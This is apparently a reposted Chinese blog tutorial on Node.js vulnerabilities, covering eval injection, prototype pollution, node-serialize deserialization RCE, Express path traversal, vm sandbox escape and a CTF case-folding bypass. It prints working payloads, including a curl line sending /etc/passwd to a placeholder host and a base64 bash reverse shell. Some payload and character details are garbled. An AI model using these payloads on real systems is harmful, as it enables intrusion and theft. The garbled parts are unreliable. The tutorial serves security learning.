

Node.js 常见漏洞学习与总结

原创

J0hns0n666 已于 2022-04-16 09:03:11 修改 388 收藏 2

分类专栏: #通用漏洞 文章标签: node.js

于 2021-10-01 22:25:09 首次发布

版权声明: 本文为博主原创文章, 遵循 CC 4.0 BY-SA 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/weixin_50464560/article/details/120581511

版权



[通用漏洞 专栏收录该内容](#)

49 篇文章 3 订阅

订阅专栏

转载<https://threezh1.com/2020/01/30/NodeJsVulns/>

危险函数所导致的命令执行

eval()

eval() 函数可计算某个字符串, 并执行其中的 JavaScript 代码。和 PHP 中 eval 函数一样, 如果传递到函数中的参数可控并且没有经过严格的过滤时, 就会导致漏洞的出现。

简单例子:

main.js

```
1         var express = require("express");
2         var app = express();
3
4         app.get('/eval', function(req, res){
5             res.send(eval(req.query.q));
6             console.log(req.query.q);
7         })
8
9         var server = app.listen(8888, function() {
10            console.log("应用实例, 访问地址为 http://127.0.0.1:8888/");
11        })
```

漏洞利用:

Node.js 中的 `child_process.exec` 调用的是 `/bash.sh`, 它是一个 `bash` 解释器, 可以执行系统命令。在 `eval` 函数的参数中可以构造 `require('child_process').exec('');` 来进行调用。

弹计算器(windows):

```
/eval?q=require('child_process').exec('calc');
```

读取文件(linux):

```
/eval?q=require('child_process').exec('curl -F "x=`cat /etc/passwd`" http://vps');
```

反弹shell(linux):

```
/eval?q=require('child_process').exec('echo YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEVMzZmZyAwPiYx|base64 -d|bash');
```

`YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEVMzZmZyAwPiYx` 是 `bash -i >& /dev/tcp/127.0.0.1/3333 0>&1 BASE64` 加密后的结果, 直接调用会报错。

注意: `BASE64` 加密后的字符中有一个 `+` 号需要 `url` 编码为 `%2B` (一定情况下)

如果上下文中没有 `require` (类似于 `Code-Breaking 2018 Thejs`), 则可以使用 `global.process.mainModule.constructor._load('child_process').exec('calc')` 来执行命令

paypal 一个命令执行的例子:

[\[demo.paypal.com\] Node.js code injection \(RCE\)](#)

(使用数组绕过过滤, 再调用 `child_process` 执行命令)

类似命令

间隔两秒执行函数:

- `setInterval(some_function, 2000)`

两秒后执行函数:

- `setTimeout(some_function, 2000);`

some_function处就类似于eval函数的参数

输出HelloWorld:

- `Function("console.log('HelloWorld')")()`

类似于php中的create_function

以上都可以导致命令执行

Node.js 原型污染漏洞

Javascript原型链参考文章: 继承与原型链

关于原型链

文章内关于原型和原型链的知识写的非常详细, 就不再总结整个过程了, 以下为几个比较重要的点:

- 在javascript, 每一个实例对象都有一个prototype属性, prototype 属性可以向对象添加属性和方法。

例子:

1	<code>object.prototype.name=value</code>
---	--

- 在javascript, 每一个实例对象都有一个 `__proto__` 属性, 这个实例属性指向对象的原型对象(即原型)。可以通过以下方式访问得到某一实例对象的原型对象:

1	<code>objectname["__proto__"]</code>
2	<code>objectname.__proto__</code>
3	<code>objectname.constructor.prototype</code>

- 不同对象所生成的原型链如下(部分):

1	<code>var o = {a: 1};</code>
2	<code>// o对象直接继承了Object.prototype</code>
3	<code>// 原型链:</code>
4	<code>// o ---> Object.prototype ---> null</code>
5	
6	<code>var a = ["yo", "whadup", "?"];</code>
7	<code>// 数组都继承于 Array.prototype</code>
8	<code>// 原型链:</code>
9	<code>// a ---> Array.prototype ---> Object.prototype ---> null</code>
10	
11	<code>function f(){</code>
12	<code> return 2;</code>
13	<code>}</code>
14	<code>// 函数都继承于 Function.prototype</code>
15	<code>// 原型链:</code>
16	<code>// f ---> Function.prototype ---> Object.prototype ---> null</code>

原型链污染原理

对于语句: `object[a][b] = value` 如果可以控制a、b、value的值, 将a设置为 `__proto__`, 我们就可以给object对象的原型设置一个b属性, 值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下, 都会拥有b属性, 且值为value。

来看一个简单的例子:

1	<code>object1 = {"a":1, "b":2};</code>
2	<code>object1.__proto__.foo = "Hello World";</code>
3	<code>console.log(object1.foo);</code>
4	<code>object2 = {"c":1, "d":2};</code>
5	<code>console.log(object2.foo);</code>

```
> object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo);
object2 = {"c":1, "d":2};
console.log(object2.foo);
Hello World VM409:3
Hello World VM409:5
< undefined
> |
```

最终会输出两个Hello World。为什么object2在没有设置foo属性的情况下, 也会输出Hello World呢? 就是因为第二条语句中, 我们对object1的原型对象设置了一个foo属性, 而object2和object1一样, 都是继承了Object.prototype。在获取object2.foo时, 由于object2本身不存在foo属性, 就会往父类Object.prototype中去寻找。这就造成了一个原型链污染, 所以原型链污染简单来说就是如果能够控制并修改一个对象的原型, 就可以影响到所有和这个对象同一个原型的对象。

merge操作导致原型链污染

merge操作是最常见可能控制键名的操作，也最可能被原型链攻击。

- 简单例子：

```
1      function merge(target, source) {
2          for (let key in source) {
3              if (key in source && key in target) {
4                  merge(target[key], source[key])
5              } else {
6                  target[key] = source[key]
7              }
8          }
9      }
10
11      let object1 = {}
12      let object2 = JSON.parse('{ "a": 1, "__proto__": { "b": 2} }')
13      merge(object1, object2)
14      console.log(object1.a, object1.b)
15
16      object3 = {}
17      console.log(object3.b)
```

需要注意的是：

在JSON解析的情况下，`__proto__` 会被认为是一个真正的“键名”，而不代表“原型”，所以在遍历object2的时候会存在这个键。

最终输出的结果为：

1	1 2
2	2

可见object3的b是从原型中获取到的，说明Object已经被污染了。

Code-Breaking 2018 Thejs

这个题目已经有很多的分析文章了，但因为它是一个比较好的学习原型链污染的题目，还是值得自己再过一遍。

题目源码下载：<http://code-breaking.com/puzzle/9/>

直接npm install可以把需要的模块下载下来。

server.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

```
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
  name: 'thejs.session',
  secret: randomize('aA0', 16),
  resave: false,
  saveUninitialized: false
}))

app.engine('ejs', function (filePath, options, callback) { // define the template engine
  fs.readFile(filePath, (err, content) => {
    if (err) return callback(new Error(err))
    let compiled = lodash.template(content)
    let rendered = compiled({...options})
    return callback(null, rendered)
  })
})

app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
  // 定义session
  let data = req.session.data || {language: [], category: []}
  if (req.method == 'POST') {
    // 获取post数据并合并
    data = lodash.merge(data, req.body)
    req.session.data = data
    // 再将data赋值给session
  }
  res.render('index', {
    language: data.language,
    category: data.category
  })
})

app.listen(3000, () => console.log('Example app listening on port 3000!'))
```

问题出现在了lodashs.merge函数这里，这个函数存在原型链污染漏洞。但是光存在漏洞还不行，我们得寻找到可以利用的点。因为通过漏洞可以控制某一种实例对象原型的属性，所以我们需要去寻找一个可以被利用的属性。

页面最终会通过lodash.template进行渲染，跟踪到lodash/template.js中。

```
server.js  x  template.js  x
/* startCase.js
/* startsWith.js
/* string.js
/* stubArray.js
/* stubFalse.js
/* stubObject.js
/* stubString.js
/* stubTrue.js
/* subtract.js
/* sum.js
/* sumBy.js
/* tail.js
/* take.js
/* takeRight.js
/* takeRightW
/* takeWhile.js
/* tap.js
/* template.js
/* templateSet
/* throttle.js
/* thru.js
/* times.js
/* toArray.js
/* toFinite.js
/* toInteger.js
/* toInteger.js
/* toInteger.js
/* toJSON.js
/* toLength.js
/* toLower.js
/* toNumber.js
/* toPairs.js
/* toPairsIn.js
/* toPath.js
/* toPlainObj.js
/* toSafeInteg
/* toString.js
/* toUpper.js
/* transform.js
133  /*
134  function template(string, options, guard) {
135  // Based on John Resig's `tmpl` implementation
136  // (http://ejohn.org/blog/javascript-micro-templating/)
137  // and Laura Doktorova's doT.js (https://github.com/olado/doT).
138  var settings = templateSettings.imports._.templateSettings || templateSettings;
139
140  if (guard && isIterateeCall(string, options, guard)) {
141    options = undefined;
142  }
143  string = toString(string);
144  options = assignInWith({}, options, settings, customDefaultsAssignIn);
145
146  var imports = assignInWith({}, options.imports, settings.imports, customDefaultsAssignIn),
147      importsKeys = keys(imports),
148      importsValues = baseValues(imports, importsKeys);
149
150  var isEscaping,
151      isEvaluating,
152      index = 0,
153      interpolate = options.interpolate || reNoMatch,
154      source = "__p += ";
155
156  // Compile the regexp to match each delimiter.
157  var reDelimiters = RegExp(
158    (options.escape || reNoMatch).source + '|' +
159    interpolate.source + '|' +
160    (interpolate === reInterpolate ? reEsTemplate : reNoMatch).source + '|' +
161    (options.evaluate || reNoMatch).source + '|$',
162    'g');
163
164  // Use a sourceURL for easier debugging.
165  var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
166  string.replace(reDelimiters, function(match, escapeValue, interpolateValue, esTemplateValue, evaluateValue, offs
167    interpolateValue || (interpolateValue = esTemplateValue);
168
169  // Escape characters that can't be included in string literals.
170  source += string.slice(index, offset).replace(reUnescapedString, escapeStringChar);
171
172  // Replace delimiters with snippets.
173  if (escapeValue) {
174    isEscaping = true;
175    source += ' +\n_e(' + escapeValue + ') +\n';
176  }
177  if (evaluateValue) {
178    isEvaluating = true;
179    source += ' +\n' + evaluateValue + ' +\n__p += ';
180  }
181  if (interpolateValue) {
```

assignInWith返回的是一个对象

如图可以看到options是一个对象，sourceURL是通过下面的语句赋值的，options默认没有sourceURL属性，所以sourceURL默认也是为空。

```
1  var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
```

如果我们能够给options的原型对象加一个sourceURL属性，那么我们就可以控制sourceURL的值。

继续往下看，最后sourceURL传递到了Function函数的第二个参数当中：

```

server.js
template.js

// Frame code as the function body.
source = 'function(' + (variable || 'obj') + ') {\n' +
(variable
? '
: 'obj || (obj = {});\n'
) +
"var __t, __p = '' +
(isEscaping
? '
; __e = _escape'
: '
; __e = _escape'
) +
(isEvaluating
? '
; __j = Array.prototype.join;\n' +
"function print() { __p += __j.call(arguments, '') }\n"
: '
; __j = Array.prototype.join;\n' +
"function print() { __p += __j.call(arguments, '') }\n"
) +
source +
'return __p\n';

var result = attempt(function() {
return function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});

// Provide the compiled function's source by its `toString` method or
// the `source` property as a convenience for inlining compiled templates.
result.source = source;
if (isError(result)) {
throw result;
}
return result;
}

module.exports = template;

```

```

1
2
3
4
var result = attempt(function() {
return function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});

```

通过构造chile_process.exec()就可以执行任意代码了。

最终可以构造一个简单的Payload作为传递给主页面的的POST数据(windows调用计算器):

```

1
{"__proto__":{"sourceURL":"\\global.process.mainModule.constructor._load('child_process').exec('calc')//"}}

```

(这里直接用require会报错: ReferenceError: require is not defined

p神给了一个更好的payload:

```

1
{"__proto__":{"sourceURL":"\\nreturn e=> {for (var a in {}){delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('')}"}

```

node-serialize反序列化RCE漏洞(CVE-2017-5941)

漏洞出现在node-serialize模块0.4版本当中, 使用 `npm install node-serialize@0.0.4` 安装模块。

- 了解什么是IIFE:

IIFE (立即调用函数表达式) 是一个在定义时就会立即执行的 JavaScript 函数。

IIFE一般写成下面的形式:

```

1
2
3
(function){ /* code */ }();
// 或者
(function){ /* code */ }();

```

- node-serialize@0.0.4 漏洞点

漏洞代码位于node_modules\node-serialize\nlib\serialize.js中:

```
serialize.js
49     outputObj[key] = FUNCFLAG + funcStr;
50   } else {
51     outputObj[key] = obj[key];
52   }
53 }
54 }
55
56 return (path === '$') ? JSON.stringify(outputObj) : outputObj;
57 };
58
59 exports.unserialize = function(obj, originObj) {
60   var isIndex;
61   if (typeof obj === 'string') {
62     obj = JSON.parse(obj);
63     isIndex = true;
64   }
65   originObj = originObj || obj;
66
67   var circularTasks = [];
68   var key;
69   for(key in obj) {
70     if(obj.hasOwnProperty(key)) {
71       if(typeof obj[key] === 'object') {
72         obj[key] = exports.unserialize(obj[key], originObj);
73       } else if(typeof obj[key] === 'string') {
74         if(obj[key].indexOf(FUNCFLAG) === 0) {
75           obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
76         } else if(obj[key].indexOf(CIRCULARFLAG) === 0) {
77           obj[key] = obj[key].substring(CIRCULARFLAG.length);
78           circularTasks.push({obj: obj, key: key});
79         }
80       }
81     }
82   }
83
84   if (isIndex) {
85     circularTasks.forEach(function(task) {
86       task.obj[task.key] = getKeyPath(originObj, task.obj[task.key]);
87     });
88   }
89   return obj;
90 };
91
92
```

其中的关键就是: `obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');`; 这一行语句, 可以看到传递给eval的参数是用括号包裹的, 所以如果构造一个 `function(){}()` 函数, 在反序列化时就会被当作IIFE立即调用执行。来看如何构造payload:

- 构造Payload

```
1           serialize = require('node-serialize');
2           var test = {
3 rce : function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)}};},
4           }
5           console.log("序列化生成的 Payload: \n" + serialize.serialize(test));
```

生成的Payload为:

```
{"rce": "_$ND_FUNC$$_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)}};}"
```

因为需要在反序列化时让其立即调用我们构造的函数, 所以我们需要在生成的序列化语句的函数后面再添加一个 `()`, 结果如下:

```
{"rce": "_$ND_FUNC$$_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)}};()}"
```

(这里不能直接在对象内定义IIFE表达式, 不然会序列化失败)

传递给unserialize(注意转义单引号):

```
1           var serialize = require('node-serialize');
2 var payload = '{"rce": "_$ND_FUNC$$_function(){require(\'child_process\').exec(\'ls /\',function(error, stdout, stderr){console.log(stdout)}};()}"';
3           serialize.unserialize(payload);
```

执行命令成功, 结果如图:

```

1 var serialize = require('node-serialize');
2 var payload = '{"rce":"' + process.env.NODE_FUNC + 'function(){require(\'child_process\').exec(\'\'}
3 serialize.unserialize(payload);

```

Node.js 目录穿越漏洞复现(CVE-2017-14849)

在vulhub上面可以直接下载到环境。

漏洞影响的版本:

- Node.js 8.5.0 + Express 3.19.0-3.21.2
- Node.js 8.5.0 + Express 4.11.0-4.15.5

运行漏洞环境:

1	cd vulhub/node/CVE-2017-14849/
2	docker-compose build
3	docker-compose up -d

用Burpsuite获取地址: /static/../../../../../../../../etc/passwd 即可下载到/etc/passwd 文件

Request:

```

GET /static/../../../../../../../../etc/passwd HTTP/1.1
Host: 192.168.1.100

```

Response:

```

HTTP/1.1 200 OK
X-Powered-By: Express
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Wed, 13 Sep 2017 20:05:31 GMT
Etag: W/"4d4-15e7cd8b6f8"
Content-Type: application/octet-stream
Content-Length: 1236
Date: Tue, 04 Feb 2020 06:35:00 GMT
Connection: close

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,:/run/systemd:/bin/false
node:x:1000:1000:./home/node:/bin/bash

```


具体分析可见：[Node.js CVE-2017-14849 漏洞分析](#)

vm沙箱逃逸

vm是用来实现一个沙箱环境，可以安全的执行不受信任的代码而不会影响到主程序。但是可以通过构造语句来进行逃逸：

逃逸例子：

```
1         const vm = require("vm");
2         const env = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);
3         console.log(env);
```

执行之后可以获取到主程序环境中的环境变量

上面例子的代码等价于如下代码：

```
1         const vm = require('vm');
2         const sandbox = {};
3         const script = new vm.Script("this.constructor.constructor('return this.process.env')()");
4         const context = vm.createContext(sandbox);
5         env = script.runInContext(context);
6         console.log(env);
```

创建vm环境时，首先要初始化一个对象 sandbox，这个对象就是vm中脚本执行时的全局环境context，vm脚本中全局 this 指向的就是这个对象。

因为 `this.constructor.constructor` 返回的是一个 `Function constructor`，所以可以利用Function对象构造一个函数并执行。(此时Function对象的上下文环境是处于主程序中的)这里构造的函数内的语句是 `return this.process.env`，结果是返回了主程序的环境变量。

配合 `child_process.exec()` 就可以执行任意命令了：

```
1         const vm = require("vm");
2         const env = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
3         process.mainModule.require('child_process').execSync('whoami').toString()`);
4         console.log(env);
```

最近的mongo-express RCE(CVE-2019-10758)漏洞就是配合vm沙箱逃逸来利用的。

具体分析可参考：[CVE-2019-10758:mongo-expressRCE复现分析](#)

javascript大小写特性

在javascript中有几个特殊的字符需要记录一下

对于toUpperCase():

字符"i"、"I" 经过toUpperCase处理后结果为 "I"、"S"

对于toLowerCase():

字符"K"经过toLowerCase处理后结果为"k"(这个K不是k)

在绕一些规则的时候就可以利用这几个特殊字符进行绕过

CTF题实例 - Hacktm中的一道Nodejs题

题目部分源码：

```
1         function isValidUser(u) {
2             return (
3                 u.username.length >= 3 &&
4                 u.username.toUpperCase() !== config.adminUsername.toUpperCase()
5             );
6         }
7
8         function isAdmin(u) {
9             return u.username.toLowerCase() == config.adminUsername.toLowerCase();
10        }
```

解题时需要登录管理员的用户名，但是在登录时， `isValidUser` 函数会对用户输入的用户名进行 `toUpperCase` 处理，再与管理员用户名进行对比。如果输入的用户名与管理员用户名相同，就不允许登录。

但是我们可以看到，在之后的一个判断用户是否为管理员的函数中，对用户名进行处理的是 `toLowerCase`。所以这两个差异，就可以使用大小写特性来进行绕过。

题目中默认的管理员用户名为：hacktm

所以，我们指定登录时的用户名为：hackTm即可绕过 `isValidUser` 和 `isAdmin` 的验证。

题目完整Writeup：

说在最后

最近才刚开始学习Node.js，打算趁寒假这段时间把常见的几个漏洞总结一下。如果文章中出现了错误，还希望师傅们能够直接指出来，十分感谢！

参考

- 浅谈Node.js Web的安全问题
- 深入理解JavaScript Prototype污染攻击
- 利用 Node.js 反序列化漏洞远程执行代码
- Sandboxing NodeJS is hard, here is why
- <https://segmentfault.com/a/1190000012672620>
- Fuzz中的javascript大小写特性